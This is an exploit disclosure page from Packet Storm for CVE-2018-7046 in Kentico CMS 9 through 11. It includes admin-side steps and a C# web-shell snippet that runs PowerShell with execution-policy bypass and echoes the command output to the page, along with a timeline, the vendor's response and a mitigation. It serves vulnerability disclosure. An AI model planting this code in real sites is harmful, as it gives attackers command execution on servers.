Twenty Year Anniversary

Kentico CMS 11 Arbitrary Code Execution

Kentico CMS 11 Arbitrary Code Execution
Posted Feb 19, 2018
Authored by Keerati T.

Kentico CMS versions 9 through 11 suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2018-7046
MD5 | 8f9a02fa5a2bdcf8d8bbc0c276ac0f8c

Kentico CMS 11 Arbitrary Code Execution

Change Mirror Download
# Exploit Title: Kentico CMS version 9 through 11 - Arbitrary Code Execution
# Date: 17-02-2018
# Software Link: https://www.kentico.com
# Exploit Author: Keerati T.
# CVE: CVE-2018-7046
# Category: webapps

1. Description

Kentico is the only fully integrated ASP.NET CMS, E-commerce, and Online Marketing platform that allows you to create cutting-edge websites and optimize your digital customers experiences fully across multiple channels. Kentico saves you time and resources so you can accomplish more. (Copy from Kentico homepage.)

2. Proof of Concept

In case of no product to install you can request Hosted Trial at https://www.kentico.com/download-demo/hosted-trial (Vendor message: Hosted trials are virtual applications running isolated and are limited by application pool permission set on server level so they should be safe as well.)

2.1 Log in as administrator.
2.2 Go to page.
2.3 At "Edit" on left panel, select any page under site.
2.4 Click "Template" tab locate on top right panel.
2.5 Under "Template" tab, select "Edit template properties".
2.6 Select "Layout" on popped "Template".
2.7 Fill the following c# code into text box. (modified from https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx)
================================
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="Microsoft.VisualBasic" %>
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "powershell.exe";
psi.Arguments = "-noninteractive -executionpolicy bypass ipconfig";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
Response.Write(s);
stmrdr.Close();
================================
2.8 Click "Save" and see the response of issued OS commands.

3. Timeline

3.1 Discovery and report - 14 Feb 2018.
3.2 Vendor response - 14 Feb 2018.
(This is actually intended functinality and our CMS allows authenticated users to edit and update ascx code layout. However this user has to be authentication and has to have permissions for these actions in our administration interface.
)
3.3 CVE ID was assigned - 15 Feb 2018.
3.4 Public - 17 Feb 2018.

4. Solution
Restricting the permission to allow only authorized user to edit ascot code layout.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    7 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close